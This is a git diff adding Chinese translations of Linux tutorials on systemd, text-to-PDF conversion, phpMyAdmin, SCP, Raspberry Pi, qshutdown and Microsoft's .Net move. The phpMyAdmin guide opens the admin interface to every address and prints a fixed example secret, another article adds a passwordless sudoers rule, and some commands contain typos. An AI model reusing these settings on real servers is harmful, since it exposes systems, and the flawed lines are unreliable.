Requires=multi-user.target + After=multi-user.target + Conflicts=rescue.target + Wants=display-manager.service + AllowIsolate=yes + [Install] + Alias=default.target + +现在再看看unit文件长什么样? 我来给大家找个例子。 unit文件存放在下面的两个目录下: + +- /etc/systemd/system/ +- /usr/lib/systemd/system/ + +我们可以修改第一个目录中的文件来进行自定义配置,而第二个目录中的文件是包安装时保存的备份。**/etc/systemd/system/**的优先级高于**/usr/lib/systemd/system/**。不错,用户优先级高于机器。下面是Apache Web server的unit文件: + + [Unit] + Description=The Apache HTTP Server + After=network.target remote-fs.target nss-lookup.target + [Service] + Type=notify + EnvironmentFile=/etc/sysconfig/httpd + ExecStart=/usr/sbin/httpd/ $OPTIONS -DFOREGROUND + ExecReload=/usr/sbin/httpd $OPTIONS -k graceful + ExecStop=/bin/kill -WINCH ${MAINPID} + KillSignal=SIGCONT + PrivateTmp=true + [Install] + WantedBy=multi.user.target + +就算是对于新手而言,上面的文件也是非常简单易懂的。这可比SysVInit的init文件要简单多了,为了便于比较,下面截取了/etc/init.d/apache2的一个片段: + + SCRIPTNAME="${0##*/}" + SCRIPTNAME="${SCRIPTNAME##[KS][0-9][0-9]}" + if [ -n "$APACHE_CONFDIR" ] ; then + if [ "${APACHE_CONFDIR##/etc/apache2-}" != "${APACHE_CONFDIR}" ] ; then + DIR_SUFFIX="${APACHE_CONFDIR##/etc/apache2-}" + else + DIR_SUFFIX= + +整个文件一共有410行。 + +你可以检查unit文件的依赖关系,我常常被这些复杂的依赖关系给吓到: + + $ systemctl list-dependencies httpd.service + +### cgroups ### + +cgroups,或者叫控制组,在Linux内核里已经出现好几年了,但直到systemd的出现才被真正使用起来。[The kernel documentation][1]中是这样描述cgroups的:“控制组提供层次化的机制来管理任务组,使用它可以聚合和拆分任务组,并管理任务组后续产生的子任务。”换句话说,它提供了多种有效的方式来控制、限制和分配资源。systemd使用了cgroups,你可以便捷的查看它,使用下面的命令可以展示你系统中的整个cgroup树: + + $ systemd-cgls + +你可以使用ps命令来进行查看cgroup树: + + $ ps xawf -eo pid,user,cgroup,args + +###常用命令集### + +下面的命令行展示了如何为守护进程重新装载配置文件,注意不是systemd服务文件。 使用这个命令能够激活新的配置项,且尽可能少的打断业务进程,下面以Apache为例: + + # systemctl reload httpd.service + +重新装载服务文件(service file)需要完全停止和重新启动服务。如果服务挂死了,用下面的命令行可以恢复它: + + # systemctl restart httpd.service + +你还可以用一个命令重启所有的守护进程。这个命令会重新装载所有守护进程的unit文件,然后重新生成依赖关系树: + + # systemctl daemon-reload + +在非特权模式下,你也可以进行重启、挂起、关机操作: + + $ systemctl reboot + $ systemctl suspend + $ systemctl poweroff + +按照惯例,最后给大家介绍一些systemd的学习材料。[Here We Go Again, Another Linux Init: Intro to systemd][2] 和 [Understanding and Using Systemd][3] 是不错的入门材料,这两份文档里会链接到更多其他资源。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/794615-systemd-runlevels-and-service-management + +作者:[Carla Schroder][a] +译者:[coloka](https://github.com/coloka) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/3734 +[1]:https://www.kernel.org/doc/Documentation/cgroups/cgroups.txt +[2]:http://www.linux.com/learn/tutorials/524577-here-we-go-again-another-linux-init-intro-to-systemd +[3]:http://www.linux.com/learn/tutorials/788613-understanding-and-using-systemd \ No newline at end of file diff --git a/published/201412/20141118 Linux FAQs with Answers--How to convert a text file to PDF format on Linux.md b/published/201412/20141118 Linux FAQs with Answers--How to convert a text file to PDF format on Linux.md new file mode 100644 index 0000000000..bd40848f5c --- /dev/null +++ b/published/201412/20141118 Linux FAQs with Answers--How to convert a text file to PDF format on Linux.md @@ -0,0 +1,44 @@ +Linux 有问必答:在Linux上如何将文本文件转换成PDF格式 +================================================================================ +> **提问**: 我想要将一个纯文本文件转换成PDF文档。在Linux命令行下是否有一个简单的方法将文本文件转换成PDF文件? + +当你有一大堆文本文件要维护的时候,把它们转换成PDF文档会好一些。比如,PDF更适合打印,因为PDF文档有预定义布局。除此之外,还可以减少文档被意外修改的风险。 + +要将文本文件转换成PDF格式,你要按照下面的两步。 + +### 准备工作 ### + +首先你要安装两个需要的包。 + +在 Debian、Ubuntu 或者 Linux Mint上: + + $ sudo apt-get install enscript ghostscript + +在 Fedora、CentOS/RHEL上: + + $ sudo yum install enscript ghostscript + +在 Arch Linux上: + + $ sudo pacman -S enscript ghostscript + +### 将文本文件转换成PDF格式 ### + +准备工作完成之后,按照下面的两步从文本文件生成一个PDF文件 + +首先,使用enscript命令行工具将文本文件转换成postscript格式。 + + $ enscript -p output.ps input.txt + +最后将postscript格式文件转换成PDF文件。 + + $ ps2pdf output.ps output.pdf + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/convert-text-to-pdf-linux.html + +译者:[geekpi](https://github.com/geekpi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201412/20141118 Linux FAQs with Answers--How to install phpMyAdmin on CentOS.md b/published/201412/20141118 Linux FAQs with Answers--How to install phpMyAdmin on CentOS.md new file mode 100644 index 0000000000..dcde85a4b8 --- /dev/null +++ b/published/201412/20141118 Linux FAQs with Answers--How to install phpMyAdmin on CentOS.md @@ -0,0 +1,179 @@ +Linux有问必答:如何在CentOS上安装phpMyAdmin +================================================================================ +> **问题**:我正在CentOS上运行一个MySQL/MariaDB服务,并且我想要通过网络接口来用phpMyAdmin来管理数据库。在CentOS上安装phpMyAdmin的最佳方法是什么? + +phpMyAdmin是一款以PHP为基础,基于Web的MySQL/MariaDB数据库管理工具。虽然已经存在着一些诸如[Adminer][1]的轻量级数据库管理工具, 但是phpMyAdmin还是更加广泛应用于网站管理员之中来进行各种MySQL/MariaDB的管理任务。它支持几乎所有MySQL数据库/表的相关操作,比如浏览、创建、复制、删除、重命名、更改,还有MySQL用户/权限管理和数据库导入/导出。以下就是**如何在CentOS 6或7上安装phpMyAdmin**。 + +### 前提 ### + +在CentOS上安装phpMyAdmin,你第一步需要架设一台Web服务器(如Apache或nginx),安装好MySQL/MariaDB数据库和PHP。根据你的偏好和需求,你可以从[LAMP][2]和[LEMP][3]中选择一种安装。 + +另一个要求是允许在你的CentOS上安装EPEL库。如果你还没设置过请[猛戳这里][4]。 + +### 在CentOS6或7上安装phpMyAdmin ### + +一旦你设置了EPEL库,你就能轻松地用以下命令安装phpMyAdmin了。 + +在CentOS 7上: + + $ sudo yum install phpmyadmin + +在CentOS 7上: + + $ sudo yum install phpmyadmin php-mcrypt + +### 在CentOS 7上配置phpMyAdmin ### + +默认情况下,CentOS 7上的phpMyAdmin只允许从回环地址(127.0.0.1)访问。为了能远程连接,你需要改动它的配置。 + +用文本编辑器打开phpMyAdmin的配置文件(路径:/etc/httpd/conf.d/phpMyAdmin.conf),找出并注释掉带有"Require ip XXXX"字样的代码行。会有四处这样的代码行,用"Require all granted"取而代之。重新改动过的配置文件如下所示。 + + $ sudo vi /etc/httpd/conf.d/phpMyAdmin.conf + +---------- + + . . . . . + + AddDefaultCharset UTF-8 + + + # Apache 2.4 + + #Require ip 127.0.0.1 + #Require ip ::1 + Require all granted + + + + # Apache 2.2 + Order Deny,Allow + Deny from All + Allow from 127.0.0.1 + Allow from ::1 + + + + + + # Apache 2.4 + + #Require ip 127.0.0.1 + #Require ip ::1 + Require all granted + + + + # Apache 2.2 + Order Deny,Allow + Deny from All + Allow from 127.0.0.1 + Allow from ::1 + + + . . . . . + +最后,重启httpd使改动生效。 + + $ sudo systemctl restart httpd + +### 在CentOS 6上配置phpMyAdmin ### + +默认情况下,CentOS 6上的phpMyAdmin是禁止从每个IP地址访问的。为了能远程连接,你需要改动它的配置。 + +用文本编辑器打开phpMyAdmin的配置文件(路径:/etc/httpd/conf.d/phpMyAdmin.conf),找出并注释掉"Deny from all"字样的代码行。然后把"Allow from 127.0.0.1"字样的代码行改成"Allow from 0.0.0.0"。重新改动过的配置文件如下所示。 + + $ sudo vi /etc/httpd/conf.d/phpmyadmin.conf + +---------- + + + Order Deny,Allow + # Deny from all + Allow from 0.0.0.0 + + +下一步是将phpMyAdmin的配置文件用blowfish加密工具加密。这一步需要加密cookie里的密码来作为基于cookie的部分认证。 + +用文本编辑器打开如下路径所示的文件并且用blowfish设置一个随机密码,如下所示。 + + $ sudo vi /usr/share/phpmyadmin/config.inc.php + +---------- + + $cfg['blowfish_secret'] = 'kd5G}d33aXDc50!'; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */ + +最后,重启httpd使改动生效。 + + $ sudo service httpd restart + +### 测试phpMyAdmin ### + +测试phpMyAdmin是否设置成功,访问这个页面:http://\/phpmyadmin + +![](https://farm6.staticflickr.com/5606/15550758749_0f7ab66b5b_z.jpg) + +你应该能通过Web界面来记录下任何MySQL用户(比如root)和管理MySQL/MariaDB的数据库/表。 + +![](https://farm8.staticflickr.com/7505/15551187008_86ac7e7db1_z.jpg) + +### 疑难解答 ### + +这里有一些在CentOS上安装phpMyAdmin的过程中遇到的一些问题解决方法。 + +1. 当你在浏览器里尝试连接phpMyAdmin页面的时候,你看到"403 Forbidding"错误: + + You don't have permission to access /phpMyAdmin on this server. + +发生这种错误是因为phpMyAdmin默认阻止了IP地址远程连接。要修复这种错误,你需要编辑它的配置文件来允许远程连接。具体操作见上。 + +2. 当你连接phpMyAdmin页面时,你看见"The configuration file now needs a secret passphrase (blowfish_secret)."信息,并且你无法登录。 + +要修复这种错误,你需要编辑 /usr/share/phpmyadmin/config.inc.php 这个文件来添加一个随机的blowfish密码,然后重启httpd,如下所示。 + + $cfg['blowfish_secret'] = 'kd5G}d33aXDc50!'; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */ + +---------- + + $ sudo service httpd restart (CentOS 6) + $ sudo systemctl restart httpd (CentOS 7) + +3. 当你连接phpMyAdmin页面时,你看见"Cannot load mcrypt extension. Please check your PHP configuration"错误信息。 + +要修复这种错误,要安装下面这个包: + + $ sudo yum install php-mcrypt + +然后重启httpd: + + $ sudo service httpd restart (CentOS 6) + $ sudo systemctl restart httpd (CentOS 7) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-phpmyadmin-centos.html + +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/set-web-based-database-management-system-adminer.html +[2]:http://linux.cn/article-1567-1.html +[3]:http://linux.cn/article-4314-1.html +[4]:http://linux.cn/article-2324-1.html +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: diff --git a/published/201412/20141119 10 SCP Commands to Transfer Files or Folders in Linux.md b/published/201412/20141119 10 SCP Commands to Transfer Files or Folders in Linux.md new file mode 100644 index 0000000000..e05e1f740f --- /dev/null +++ b/published/201412/20141119 10 SCP Commands to Transfer Files or Folders in Linux.md @@ -0,0 +1,238 @@ +十个 SCP 传输命令例子 +================================================================================ +Linux系统管理员应该很熟悉**CLI**环境,因为通常在Linux服务器中是不安装**GUI**的。**SSH**可能是Linux系统管理员通过远程方式安全管理服务器的最流行协议。在**SSH**命令中内置了一种叫**SCP**的命令,用来在服务器之间安全传输文件。 + +![](http://www.tecmint.com/wp-content/uploads/2013/10/SCP-Commands.png) + +以下命令可以解读为:用“**username account**”“**拷贝 source file name**”到“**destination host**”上的“**destination folder**”里。 + +#### SCP命令的基本语法 #### + + scp source_file_name username@destination_host:destination_folder + +**SCP**命令有很多可以使用的参数,这里指的是每次都会用到的参数。 + +### 用-v参数来提供SCP进程的详细信息 ### + +不带参数的基本**SCP**命令会在后台拷贝文件,除非操作完成或者有错误出现,否则用户在界面上是看不到任何提示信息的。你可以用“**-v**”参数来在屏幕上打印出调试信息,这能帮助你调试连接、认证和配置的一些问题。 + + pungki@mint ~/Documents $ scp -v Label.pdf mrarianto@202.x.x.x:. + +#### 部分输出 #### + + Executing: program /usr/bin/ssh host 202.x.x.x, user mrarianto, command scp -v -t . + OpenSSH_6.0p1 Debian-3, OpenSSL 1.0.1c 10 May 2012 + debug1: Reading configuration data /etc/ssh/ssh_config + debug1: /etc/ssh/ssh_config line 19: Applying options for * + debug1: Connecting to 202.x.x.x [202.x.x.x] port 22. + debug1: Connection established. + debug1: Host '202.x.x.x' is known and matches the RSA host key. + debug1: Found key in /home/pungki/.ssh/known_hosts:1 + debug1: ssh_rsa_verify: signature correct + debug1: Next authentication method: password + mrarianto@202.x.x.x's password: + debug1: Authentication succeeded (password). + Authenticated to 202.x.x.x ([202.x.x.x]:22). + Sending file modes: C0770 3760348 Label.pdf + Sink: C0770 3760348 Label.pdf + Label.pdf 100% 3672KB 136.0KB/s 00:27 + Transferred: sent 3766304, received 3000 bytes, in 65.2 seconds + Bytes per second: sent 57766.4, received 46.0 + debug1: Exit status 0 + +### 从源文件获取修改时间、访问时间和模式 ### + +“**-p**”参数会帮到把预计的时间和连接速度会显示在屏幕上。 + + pungki@mint ~/Documents $ scp -p Label.pdf mrarianto@202.x.x.x:. + +#### 部分输出 #### + + mrarianto@202.x.x.x's password: + Label.pdf 100% 3672KB 126.6KB/s 00:29 + +### 用-C参数来让文件传输更快 ### + +有一个参数能让传输文件更快,就是“**-C**”参数,它的作用是不停压缩所传输的文件。它特别之处在于压缩是在网络传输中进行,当文件传到目标服务器时,它会变回压缩之前的原始大小。 + +来看看这些命令,我们使用一个**93 Mb**的单一文件来做例子。 + + pungki@mint ~/Documents $ scp -pv messages.log mrarianto@202.x.x.x:. + +#### 部分输出 #### + + Executing: program /usr/bin/ssh host 202.x.x.x, user mrarianto, command scp -v -p -t . + OpenSSH_6.0p1 Debian-3, OpenSSL 1.0.1c 10 May 2012 + debug1: Reading configuration data /etc/ssh/ssh_config + debug1: /etc/ssh/ssh_config line 19: Applying options for * + debug1: Connecting to 202.x.x.x [202.x.x.x] port 22. + debug1: Connection established. + debug1: identity file /home/pungki/.ssh/id_rsa type -1 + debug1: Found key in /home/pungki/.ssh/known_hosts:1 + debug1: ssh_rsa_verify: signature correct + debug1: Trying private key: /home/pungki/.ssh/id_rsa + debug1: Next authentication method: password + mrarianto@202.x.x.x's password: + debug1: Authentication succeeded (password). + Authenticated to 202.x.x.x ([202.x.x.x]:22). + debug1: Sending command: scp -v -p -t . + File mtime 1323853868 atime 1380425711 + Sending file timestamps: T1323853868 0 1380425711 0 + messages.log 100% 93MB 58.6KB/s 27:05 + Transferred: sent 97614832, received 25976 bytes, in 1661.3 seconds + Bytes per second: sent 58758.4, received 15.6 + debug1: Exit status 0 + +不用“**-C**”参数来拷贝文件,结果用了**1661.3**秒,你可以比较下用了“**-C**”参数之后的结果。 + + pungki@mint ~/Documents $ scp -Cpv messages.log mrarianto@202.x.x.x:. + +#### 部分输出 #### + + Executing: program /usr/bin/ssh host 202.x.x.x, user mrarianto, command scp -v -p -t . + OpenSSH_6.0p1 Debian-3, OpenSSL 1.0.1c 10 May 2012 + debug1: Reading configuration data /etc/ssh/ssh_config + debug1: /etc/ssh/ssh_config line 19: Applying options for * + debug1: Connecting to 202.x.x.x [202.x.x.x] port 22. + debug1: Connection established. + debug1: identity file /home/pungki/.ssh/id_rsa type -1 + debug1: Host '202.x.x.x' is known and matches the RSA host key. + debug1: Found key in /home/pungki/.ssh/known_hosts:1 + debug1: ssh_rsa_verify: signature correct + debug1: Next authentication method: publickey + debug1: Trying private key: /home/pungki/.ssh/id_rsa + debug1: Next authentication method: password + mrarianto@202.x.x.x's password: + debug1: Enabling compression at level 6. + debug1: Authentication succeeded (password). + Authenticated to 202.x.x.x ([202.x.x.x]:22). + debug1: channel 0: new [client-session] + debug1: Sending command: scp -v -p -t . + File mtime 1323853868 atime 1380428748 + Sending file timestamps: T1323853868 0 1380428748 0 + Sink: T1323853868 0 1380428748 0 + Sending file modes: C0600 97517300 messages.log + messages.log 100% 93MB 602.7KB/s 02:38 + Transferred: sent 8905840, received 15768 bytes, in 162.5 seconds + Bytes per second: sent 54813.9, received 97.0 + debug1: Exit status 0 + debug1: compress outgoing: raw data 97571111, compressed 8806191, factor 0.09 + debug1: compress incoming: raw data 7885, compressed 3821, factor 0.48 + +看到了吧,压缩了文件之后,传输过程在**162.5**秒内就完成了,速度是不用“**-C**”参数的10倍。如果你要通过网络拷贝很多份文件,那么“**-C**”参数能帮你节省掉很多时间。 + +有一点我们需要注意,这个压缩的方法不是适用于所有文件。当源文件已经被压缩过了,那就没办法再压缩很多了。诸如那些像**.zip**,**.rar**,**pictures**和**.iso**的文件,用“**-C**”参数就没什么意义。 + +### 选择其它加密算法来加密文件 ### + +**SCP**默认是用“**AES-128**”加密算法来加密传输的。如果你想要改用其它加密算法来加密传输,你可以用“**-c**”参数。我们来瞧瞧。 + + pungki@mint ~/Documents $ scp -c 3des Label.pdf mrarianto@202.x.x.x:. + + mrarianto@202.x.x.x's password: + Label.pdf 100% 3672KB 282.5KB/s 00:13 + +上述命令是告诉**SCP**用**3des algorithm**来加密文件。要注意这个参数是“**-c**”(小写)而不是“**-C**“(大写)。 + +### 限制带宽使用 ### + +还有一个很有用的参数是“**-l**”参数,它能限制使用带宽。如果你为了拷贝很多文件而去执行了一份自动化脚本又不希望带宽被**SCP**进程耗尽,那这个参数会非常管用。 + + pungki@mint ~/Documents $ scp -l 400 Label.pdf mrarianto@202.x.x.x:. + + mrarianto@202.x.x.x's password: + Label.pdf 100% 3672KB 50.3KB/s 01:13 + +在“**-l**”参数后面的这个**400**值意思是我们给**SCP**进程限制了带宽为**50 KB/秒**。有一点要记住,带宽是以**千比特/秒** (**kbps**)表示的,而**8 比特**等于**1 字节**。 + +因为**SCP**是用**千字节/秒** (**KB/s**)计算的,所以如果你想要限制**SCP**的最大带宽只有**50 KB/s**,你就需要设置成**50 x 8 = 400**。 + +### 指定端口 ### + +通常**SCP**是把**22**作为默认端口。但是为了安全起见SSH 监听端口改成其它端口。比如说,我们想用**2249**端口,这种情况下就要指定端口。命令如下所示。 + + pungki@mint ~/Documents $ scp -P 2249 Label.pdf mrarianto@202.x.x.x:. + + mrarianto@202.x.x.x's password: + Label.pdf 100% 3672KB 262.3KB/s 00:14 + +确认一下写的是大写字母“**P**”而不是“**p**“,因为“**p**”已经被用来保留源文件的修改时间和模式(LCTT 译注:和 ssh 命令不同了)。 + +### 递归拷贝文件和文件夹 ### + +有时我们需要拷贝文件夹及其内部的所有**文件**/**子文件夹**,我们如果能用一条命令解决问题那就更好了。**SCP**用“**-r**”参数就能做到。 + + pungki@mint ~/Documents $ scp -r documents mrarianto@202.x.x.x:. + + mrarianto@202.x.x.x's password: + Label.pdf 100% 3672KB 282.5KB/s 00:13 + scp.txt 100% 10KB 9.8KB/s 00:00 + +拷贝完成后,你会在目标服务器中找到一个名为“**documents**”的文件夹,其中就是所拷贝的所有文件。“**documents**”是系统自动创建的文件夹。 + +### 禁用进度条和警告/诊断信息 ### + +如果你不想从SCP中看到进度条和警告/诊断信息,你可以用“**-q**”参数来静默它们,举例如下。 + + pungki@mint ~/Documents $ scp -q Label.pdf mrarianto@202.x.x.x:. + + mrarianto@202.x.x.x's password: + pungki@mint ~/Documents $ + +正如你所看到的,在你输入密码之后,没有任何关于SCP进度的消息反馈。进度完成后,你也看不到任何提示。 + +### 用SCP通过代理来拷贝文件 ### + +代理服务器经常用于办公环境,SCP自然是没有经过代理方面的配置的。当你的环境正在使用代理,那么你就必须要“告诉”SCP与代理关联起来。 + +场景如下:代理的地址是**10.0.96.6**,端口是8080。该代理还实现了用户认证功能。首先,你需要创建一个“**~/.ssh/config**”文件,其次把以下命令输入进该文件。 + + ProxyCommand /usr/bin/corkscrew 10.0.96.6 8080 %h %p ~/.ssh/proxyauth + +接着你需要创建一个同样包括以下命令的“**~/.ssh/proxyauth**”文件。 + + myusername:mypassword + +然后你就可以像往常一样使用SCP了。 + +请注意corkscrew可能还没有安装在你的系统中。在我的Linux Mint中,我需要首先先用标准Linux Mint安装程序来安装它。 + + $ apt-get install corkscrew + +对于其它的一些基于yum安装的系统,用户能用以下的命令来安装corkscrew。 + + # yum install corkscrew + +还有一点就是因为“**~/.ssh/proxyauth**”文件中以明文的格式包含了你的“**用户名**”和“**密码**”,所以请确保该文件只能你来查看。 + +### 选择不同的ssh_config文件 ### + +对于经常在公司网络和公共网络之间切换的移动用户来说,一直改变SCP的设置显然是很痛苦的。如果我们能放一个保存不同配置的**ssh_config**文件来匹配我们的需求那就很好了。 + +#### 以下是一个简单的场景 #### + +代理是被用来在公司网络但不是公共网络并且你会定期切换网络时候使用的。 + + pungki@mint ~/Documents $ scp -F /home/pungki/proxy_ssh_config Label.pdf + + mrarianto@202.x.x.x:. + mrarianto@202.x.x.x's password: + Label.pdf 100% 3672KB 282.5KB/s 00:13 + +默认情况下每个用户会把“**ssh_config**”文件放在“**~/.ssh/config**“路径下。用兼容的代理创建一个特定的“**ssh_config**”文件,能让你切换网络时更加方便容易。 + +当你处于公司网络时,你可以用“**-F**”参数,当你处于公共网络时,你可以忽略掉“**-F**”参数。 + +以上就是关于**SCP**的全部内容了,你可以查看**SCP**的**man页面**来获取更多内容,请随意留下您的评论及建议。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/scp-commands-examples/ + +作者:[Pungki Arianto][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/pungkiarianto/ diff --git a/published/201412/20141119 How To Make Raspberry Pi Boot In To GUI By Default.md b/published/201412/20141119 How To Make Raspberry Pi Boot In To GUI By Default.md new file mode 100644 index 0000000000..bb7a4042bd --- /dev/null +++ b/published/201412/20141119 How To Make Raspberry Pi Boot In To GUI By Default.md @@ -0,0 +1,60 @@ +如何让树莓派默认启动进入图形界面 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/raspberry_pi_gui.jpg) + +我买树莓派已经有一段时间了,但是实话说我几乎还没有用它做过什么事情。自从我的Dell超级本送到Dell服务中心后(已经有数星期了),我再次开始使用树莓派作为替代。 + +我之前已经写过一篇[在Ubuntu中如何在SD卡上安装Raspbian系统][1]。我也重装了一次树莓派。第一次启动的时候我漏掉了一件事情就是设置图形界面。这样当我再次启动树莓派的时候,我直接进入了命令行。我该接下来如何运行Respbian图形界面呢? + +### 设置Raspbian图形启动 ### + +当你第一次安装Raspbian系统时,确实有一些选项需要你来配置,由于匆忙,我没有注意到这些,只是快速完成屏幕上的选项。如果你遇到了和我一样的情况,最终只是进入到了Raspbian操作系统的命令行界面,不要失望,因为设置树莓派以图形界面启动很容易。让我们看看该如何操作。 + +### 第一步: ### + +当你在命令行时,以默认的用户名和密码登录(如果你没有修改过)。Raspbian的默认用户是pi,默认密码应该是raspberry。 + +#### 第二步: #### + +当你登录后,运行下面的命令: + + sudo raspi-config + +这条命令会打开树莓派的配置,就像我们第一次启动看到的那样。 + +#### 第三步: #### + +在这个配置界面下, 寻找**Enable Boot to Desktop/Scratch**这个选项。用箭头、tab和/或者回车键的组合来选中它(我忘记使用的是哪些了)。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Raspbian_Gui_setup.jpg) + +#### 第四步: #### + +下一屏中,选择** Desktop Login as user ‘Pi’ at the graphical desktop. ** + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Raspbian_Gui_setup_1.jpg) + +#### 第五步: #### + +接下来你会被要求重启。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/Raspbian_Gui_setup_2.jpg) + +下次启动后,你会登录到LXDE桌面环境。接下来你就可以享受树莓派的图形界面了。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/11/raspbian-welcome-screen-gui.jpeg) + +我希望这个教程能够帮助设置你的树莓派默认启动进入图形界面。欢迎在评论区留下你的问题和建议。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/raspberry-pi-gui-boot/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://itsfoss.com/tutorial-how-to-install-raspberry-pi-os-raspbian-wheezy/ diff --git a/published/201412/20141119 Qshutdown--An avanced shutdown tool.md b/published/201412/20141119 Qshutdown--An avanced shutdown tool.md new file mode 100644 index 0000000000..ba2ffe00ea --- /dev/null +++ b/published/201412/20141119 Qshutdown--An avanced shutdown tool.md @@ -0,0 +1,47 @@ +Qshutdown – 一个先进的关机神器 +================================================================================ +qshutdown是一个QT程序,用于让计算机在指定时间或者在几分钟后关机/重启/挂起/睡眠。对于那些只在特定时间使用计算机工作的人而言,可能很有用。 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/11/12.png) + +qshutdown将在最后70秒时显示3次警告提醒。(如果设置了1分钟或者“本地时间+1”,它只会显示一次。) + +该程序使用qdbus来发送关机/重启/挂起/睡眠请求到gnome或kde会话管理器,或者到HAL或DeviceKit,而如果这些都没有工作,那么就会使用‘sudo shutdown -P now’命令进行关机(注意,当发送请求到HAL或DeviceKit,或者使用shutdown命令时,会话不会被保存。如果使用shutdown命令,该程序只会被关机或重启)。所以,如果在shutdown或reboot时间到时却什么都没发生,这就意味着用户缺少使用shutdown命令的权限。 + +在这种情况下,你可以进行以下操作: + +粘贴以下信息到终端:“EDITOR:nano sudo -E visudo”并添加此行:“* ALL = NOPASSWD:/sbin/shutdown”这里*替换为你的“用户名”或“%组名”。 + + +倒计时最大计数为1440分钟(24小时)。配置文件(和日志文件)位于~/.qshutdown,配置文件为:qshutdown.conf。 + +对于管理员: + +在将qshutdonw.conf中的Lock_all选项设置为true后,用户将不能修改设置。如果你使用“sudo chown root -R ~/.qshutdown”和“sudo chmod 744 ~/.qshutdown/qshutdown.conf”命令修改qshutdown.conf的权限后,用户将不能修改配置文件。 + +### Ubuntu中安装Qshutdown ### + +打开终端,然后运行以下命令 + + sudo apt-get install qshutdown + +### 屏幕截图 ### + + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/11/23.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/11/31.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/11/41.png) + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/qshutdown-an-avanced-shutdown-tool.html + +作者:[ruchi][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix diff --git a/published/201412/20141119 When Microsoft Went A-Courting.md b/published/201412/20141119 When Microsoft Went A-Courting.md new file mode 100644 index 0000000000..e200ca07f2 --- /dev/null +++ b/published/201412/20141119 When Microsoft Went A-Courting.md @@ -0,0 +1,106 @@ +当微软离去时 +================================================================================ +![](http://www.linuxinsider.com/ai/769827/microsoft-linux-open-source.jpg) + +**开源.Net,“这与Linux无关——它与SaaS相关,也和一位并不偏执和狂热的90后CEO相关,”SoylentNews博主hairyfeet道,“纳德拉很明智,而且意识到了编程语言的价值不在于专利或OS排他性,而在于服务和对语言的支持……越多的平台使用该语言,它就会越好。”** + +如果自由和开源软件迷们在过去的那些日子里感到有些许困惑的话,这也许是可以理解的,即便是头昏、头痛以及头晕也算是常见的。 + +你或许会问,这又是什么新的病症? + +好吧,Linux女孩很高兴告诉你,它不是什么病症。不过,然而它并不意味着它很容易治愈。 + +原因无他,而是微软开源.Net并让它可以在Linux或Mac OS上运行的消息。 + +是的,你没听错:史蒂夫·鲍尔默曾经可能[称Linux为“癌症”][1],但今天雷蒙德(微软总部,代称微软)有个新发现,曾经不被包容的,但是却转头[“爱”上了Linux][2]! + +它让微软看起来很奇怪——它也驱使FOSS迷们聚拢到博客圈的破败的Broken Windows Lounge,而去的人的数量更是空前的。 + +一杯龙舌兰可以让你不再头疼么?这是现在众多探究的问题之一。 + +### ‘繁荣的机遇’ ### + +“这是个重大的消息,虽然有点过时了,”克里斯·特拉弗斯,一位[博主][3],他为[LedgerSMB][4]项目工作,告诉Linux女孩。 + +![](http://www.linuxinsider.com/images/article_images/linuxgirl_bg_pinkswirl_150x245.jpg) + +“我们生活的世界中,即使没有大的商业公司支持,新的开源编程语言也很兴旺,而闭源的编程语言仅能在大的商业公司的帮助下得到支持,”特拉弗斯说,“例如,Bing闭源杀死了REBOL 2.x。” + +“这项运动很明显酝酿已久——一家像微软这样庞大的公司不会有‘突然开源’这种复杂的东西——而我想,在某种程度上,微软一定看到了Sun开源OpenJDK时的一些前兆了。”他暗示道。 + +同时,“这也为诸如C#和F#这样的语言提供了比当前市场更为兴盛的机会,”特拉弗斯说。 + +### ‘我仍然不相信你’ ### + +“我首先想说,‘谢谢你,微软!’”[Linux Rants][5]博主麦克·斯通开篇说,“我们真的很欣赏你开源.Net并推动它跨平台,这是迈向正确方向的一步!” + +“然而,我仍然不相信你。”他补充道。 + 